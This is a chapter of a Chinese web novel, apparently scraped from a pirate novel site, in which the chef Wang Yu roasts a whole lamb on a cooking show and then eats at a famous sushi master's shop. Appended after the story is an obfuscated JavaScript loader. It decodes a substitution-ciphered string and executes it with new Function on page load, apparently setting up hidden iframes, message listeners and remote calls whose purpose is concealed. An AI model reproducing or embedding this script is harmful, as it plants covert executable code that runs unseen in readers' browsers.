(手机请访问 m.duxs8.com); 王宇处理起羊肉很快,首先就是去味,要知道羊肉的味道很大,但他有办法压制住味道,用的就是食材来压制,但还有配料,做出来的配料虽然不是很好,但王宇动手起来还是很快的,很多人都在关注着,节目现场也弄来了木炭,本想用烤箱的,王宇摇摇头拒绝了。
虽然用木炭有些不好,但用烤箱也不是不行,最后实在是觉得用木炭不行,就用烤箱了,非常现代化的烤箱,r国的家电还是非常出名的,要是用烤箱的话,王宇就有得来忙了,但他丝毫不怕,烤箱就烤箱,真当自己不会用,处理好羊肉直接弄好,抹上一些配料放在肉上。
很多人看着王宇那么快就弄好了,不知道在忙些什么,王宇并不着急,而是等进味了之后在放入烤箱,看了看时间,羊肉的质量好也不用等了,直接放入了烤箱,让美食家来转动,他要处理羊肝和羊肚什么的,弄这些非常快,熟得很快,但要是做汤的话就要久一些了。
打火锅吃羊肉那味道肯定很好,但王宇做的是烤羊肉,羊肝和羊肚什么的都留在外面,做汤肯定是最好的一个选择,他开始给汤放配料了,不得不佩服节目弄来的食材,虽然不是最好的,但都是常见的食材,而且很多人都发现王宇没有动用那些级食材!这让很多疑惑。
级食材都不碰,味道肯定不行,但王宇显然不是他们能用常理来判断的,最简单的食材做出做好吃的菜,他就是这么一个神奇的人,放好了汤的底料,开始煲汤了,然后等着它慢慢的烧开,时间很久,放下汤的事情,王宇去弄羊肉了,在烤箱里的羊肉让很多人眼红。
不知道王宇会用什么办法,不过最后闲着麻烦,让人生火了,烧炭了,因为烤箱烧烤确实方便,也有不利的时候,现在就是这样,羊肉在里面很容易就会烤老了,外面熟里面不熟就悲剧了,虽然现在烤箱先进,但王宇还是用传统的方法来,很快生火好了之后就拿出来。
开始在烧烤架上转了起来,非常普通的样子,没有王宇以菜作画的艺术欣赏,很多人看不懂,只是对于酱料非常在意,这家伙真是个怪胎,居然对酱料那么了解,想想神农餐厅使用的酱料就知道了,都是王宇亲自制作的,没有一的参假,这不开始慢慢的烤了起来不着急。
不过现场有人问到了肉香,非常美味,现在就有着香气出来,那么烤好了之后味道一定很不错,对于王宇的手艺他们还是非常看好的,而他这是涂抹奖励,拿着到开口子,很均匀,美食家看着王宇的手法感叹,“你真是太厉害了,在什么地方开口子放酱料掌握得非常好。”
他的话让王宇笑了起来,“那里,只是一些事,没多大用处,这些都是应该掌握的,相信味道一定会让你们满意的。”美食家头,能不头么,厨神动手的烤全羊肯定没有问题,接着就是看着王宇表演了,等了一个多时,烤全羊这才好,王宇让美食家继续转动起来。
他去看看汤,没有放入羊肝和羊肚,就是光光的熬着羊骨头,已经出味了,王宇尝了一口,味道非常不错,开始放入腌制好的羊肝和羊肚进去,等了一会,让后快速的拿出来冷却,最后把熬制的汤放在一边,最后放入羊肝和羊肚,这些对于一些r国人来是不吃的,太浪费。
那么好吃的东西都不吃真是可惜了,伙温炖着,让汤的温度不冷却,看了看里面的汤汁非常不错,拿着汤勺舀出来一些给美食家和评委尝尝,还有现场的观众,不过对于羊肝和羊肚他们都不吃,这下就便宜了王宇,正好可以自己吃,还有安娜和克里斯蒂娜一起吃。
那么美味的食物居然不吃?两位女强人有些无语,她们本来也是不吃的,只是吃过了之后纷纷感叹,美味,她们当然不客气了,美夕也在,喝到了王宇制作的汤心里大惊!天啊!太好喝了,这味道真是一绝啊!王宇自己也喝了起来,确实有些饿,就拿来当做前菜来吃了。
汤的味道没有人有异议,很好喝,至少已经做完菜的大厨们都做不出,剩下的就是羊肉了,已经弄好了,直接弄上来开始切,刀在王宇手里焕发出了生命一样,刀光一直在闪烁着,很快就分好了,由于这头养很大,最后刚刚只能分好一些,并不是很多人能吃,王宇给自己留。
他留了一份比较大的,然后分好,让人端过去,自己开始吃了起来,安娜和克里斯蒂娜自然不客气了,非常好吃,肉质鲜美不错,味道也是一绝,特别是羊肉的檀味被压制得很好,没有那种恶心的气味出来,吃起来非常开心,很多人尝过之后都没话,太好吃了。
对于王宇的手艺根本就没有一异议,倒是棒子的大厨有些想不通,为什么会这样?酱料的搭配非常不合理,为什么王宇能做出好吃的羊肉出来?完全的不可能啊,这是他们的疑惑,而r国的厨师则是纷纷询问,他们去尝了王宇制作的酱料和酱汁,果然是这样!非常厉害。
酱汁和酱料可是觉得烧烤食材的成败,虽然对食材也有很高的要求,但他们吃过之后就明白,不光是食材出色,酱汁和酱料都非常出色,这一他们无可反驳,对于酱汁和酱料的做法有着记录,但想要完完全全的照搬出来肯定不行,不会达到任何的效果,会适得其反。
吃了一个羊腿,王宇终于觉得肚子好受了一些,但还是额,最后寿司之神笑了,“要是王先生不介意的话去我的店里坐坐,今天我儿子买回来了好的食材,请你吃寿司,我亲自制作的寿司。”这当然没问题了,“那太好不过了,我现在肚子还是饿的,不知道能不能吃饱。”
寿司之神笑了,“哈哈,放心,到时候你尽管吃。”完王宇和评委还有美食家一起和寿司之神老爷子离开了现场,去他的店里,米其林三星店铺,现场的很多人很羡慕,他们也想去,可是寿司之神没有邀请他们,王宇确实有资格去,手艺不,淡淡他制作的寿司也非常恐怖。
来到老人家的店面看到一家有人在做着准备了,都是寿司之神的家人,对于寿司无疑他最有发言权,传承的手艺到了自己儿子一代,王宇笑了,“想不到你们一家都回来了。”老人笑了笑,“厨神到来能不回来么,正好让你尝尝我的寿司,有什么需要改进和发展的方向。”
要知道寿司是冷食和生食,毕竟麻烦,王宇对此倒是没有什么,因为有着芥末可以混过去,当然要是自己搭配的酱汁就好了,味道肯定不错,看着寿司之神老爷子在灶台里忙活着,美食家和他,“今天运气太好了,吃到你的菜不,还能吃到寿司之神亲自制作的寿司。”
“你不知道很多美国总统都想要来这里尝一尝,我运气够好的。”王宇听到他的话下了,“呵呵,和我没多大关系,倒是他们的饭团做得非常好,寿司非常不错,不愧是寿司之神啊。”王宇的话让美食家疑惑,“我听过你做过一次寿司,好像后面就没有制作,这是为什么?”
安娜和克里斯蒂娜还有美夕都过来了,她们也很想知道,王宇苦笑,“其实寿司是古代的中国传过来的,当时吃不饱所以就有了肉和米食一起吃的习惯,当然很久远了,寿司发展到现代这个时候,自然是r国的骄傲了,用我们中国话来,这是他们自己发展起来的美食。”
“我之所以只做一次不是因为不想打击寿司,而是认为打击都有可取的地方,r国的寿司讲究的是现做现吃,我做的也差不多,但味道不一样,r国清淡一些,我的是毕竟重一些。”美食家头,这还真是不好了,毕竟每个人的口味不一样,倒是寿司之神很厉害。
他制作的寿司非常好吃,而且鱼肉是上好的蓝鳍金枪鱼!真是够好吃的,无疑对于寿司,王宇最后请求的老人家做一些酱汁出来,老人笑了,同意了,王宇制作的酱汁非常好,至少自己能吃得下了,不得不寿司非常不错,很好吃,没有一些媒体得那么夸张的成份。
一些媒体和美食家寿司之神做出来的寿司有着很多想法在里面,能让人感悟到很多,王宇很想扯淡吧,好吃就好吃,有感悟要会有但不会是食客们,而是制作的人,对于老人家王宇佩服,老爷子招待他亲自制作,无疑味道非常好,让人吃了还想吃,非常厉害。
这是王宇第一次对r国的寿司有着这样的感觉,看来寿司之神的名号可不是吹出来的,而是实实在在的,无疑这一让很多r国人骄傲了,只是不知道什么时候中国才能有这样的菜式出来,相信用不了多久,孔家菜就是走上世界,他一直相信中华美食当世第一。
这不是他固执,而是老祖宗也是这么认为的,要不然也不会在神农宝典上记录上一些事情了,所以王宇对于中华美食的宣传是非常卖力的,不去担心其他的事情。
本書首发于看書蛧
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();